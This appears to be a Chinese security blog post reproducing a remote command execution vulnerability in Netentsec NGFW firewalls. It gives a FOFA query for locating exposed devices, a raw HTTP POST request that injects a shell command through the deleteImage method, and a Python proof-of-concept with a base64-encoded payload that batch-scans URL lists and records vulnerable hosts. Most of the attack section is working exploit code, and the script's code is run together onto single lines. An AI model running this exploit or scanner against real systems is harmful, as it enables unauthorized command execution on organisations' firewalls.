网康NGFW下一代防火墙远程命令执行漏洞复现

程序员菠萝

已于 2024-01-07 15:22:04 修改

阅读量1k

点赞数 18

文章标签： web安全学习安全网络

于 2023-12-24 12:00:00 首次发布

本文链接：https://blog.csdn.net/xnxqwzy/article/details/135173149

版权

声明：以下脚本具有攻击性，请勿非法使用，否则后果自负。请勿进行非授权测试，否则后果自负。

1.前言

2021HW期间，北京网康科技有限公司网康NGFW下一代防火墙被爆出远程命令执行漏洞。CNVD上还没查到漏洞编号，应该是CNVD还未公开该漏洞。但是网上已有人复现和漏洞分析的文章。

2.漏洞概述

网康下一代防火墙（NGFW）是网康科技推出的一款可全面应对网络威胁的高性能应用层防火墙。但该NGFW存在远程命令执行漏洞，攻击者可通过构造特殊请求执行系统命令。

3.漏洞原理

漏洞存在html\applications\directdata\controllers\DirectController.php文件中，漏洞关键代码：

4.影响版本

版本未知（20210419之前的版本）

5.漏洞等级

高危

6.漏洞复现

6.1 FOFA实战复现

FOFA关键词：

cert=“11558588834859436962”

POST Payload：
POST /directdata/direct/router HTTP/1.1
Host: x.x.x.x
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=q885n85a5es9i83d26rm102sk3; ys-active_page=s%3A
Content-Type: application/x-www-form-urlencoded
Content-Length: 167

{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/.atest.txt;whoami >/var/www/html/atest.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}

6.2 netentsec_NGFW_RCE_POC.py

#!/usr/bin/python
# Env: python3
# Author: afei00123
# -*- coding: utf8 -*-

import requests, urllib3, base64, time, json, argparse
from colorama import init
init(autoreset=True)

def title():print("")print('*'.center(60, '*'))print("网康NGFW下一代防火墙（版本未知）".center(30))print("github：https://github.com/ltfafei".center(50))print("gitee：https://gitee.com/afei00123".center(50))print("CSDN: afei00123.blog.csdn.net".center(50))print("公众号：网络运维渗透".center(40))print("")print('*'.center(60, '*'))print("")

class netentsec_NGFW_POC():def NGFW_RCE_Check(self, url):urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)target_url = f"{url}/directdata/direct/router"headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36","Cache-Control": "max-age=0","accept": "image/avif,image/webp,image/apng,image/*,*/*;q=0.8","sec-ch-ua": '"Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"',"sec-ch-ua-mobile": "?0","Upgrade-Insecure-Requests": "1","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","Sec-Fetch-Site": "none","Sec-Fetch-Mode": "navigate","Sec-Fetch-User": "?1","Sec-Fetch-Dest": "document","Accept-Encoding": "gzip, deflate","Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8","Cookie": "PHPSESSID=q885n85a5es9i83d26rm102sk3; ys-active_page=s%3A","Content-Type": "application/x-www-form-urlencoded",}payload = base64.b64decode("eyJhY3Rpb24iOiJTU0xWUE5fUmVzb3VyY2UiLCJtZXRob2QiOiJkZWxldGVJbWFnZSIsImRhdGEiOlt7ImRhdGEiOlsiL3Zhci93d3cvaHRtbC8uYXRlc3QudHh0O2VjaG8gYWZlaWNvbWUgPi92YXIvd3d3L2h0bWwvYXRlc3QudHh0Il19XSwidHlwZSI6InJwYyIsInRpZCI6MTcsImY4ODM5cDdycXRqIjoiPSJ9")try:s = requests.session()list_data = s.post(target_url, headers=headers, data=payload, verify=False, timeout=2).json()status = list_data[0]['result'].get("success")if status:print(f"\033[31m[+] {url}极有可能存在远程命令执行漏洞！")with open("NGFW_RCE_vuln.txt", "a+") as f:f.writelines(url + "\n")except Exception as e:print(f"[n] {url}不存在该漏洞。")return urldef NGFW_Batch_Check(self, url, file):if url:return Trueelif file:for url in file:url = url.replace('\n', '')time.sleep(1)self.NGFW_RCE_Check(url)

if (__name__ == "__main__"):title()parser = argparse.ArgumentParser(description="netentsec NGFW RCE POC")parser.add_argument('-u', '--url', type=str,help='Please input target url. eg: https://ip:port')parser.add_argument('-f', '--file', type=argparse.FileType('r'),help='Please input urls file path. eg: c:\\urls.txt')args = parser.parse_args()run_POC = netentsec_NGFW_POC()if args.file:run_POC.NGFW_Batch_Check(args.url, args.file)print("\n[done] 批量探测完成，请查看：NGFW_RCE_vuln.txt")if args.url:run_POC.NGFW_RCE_Check(args.url)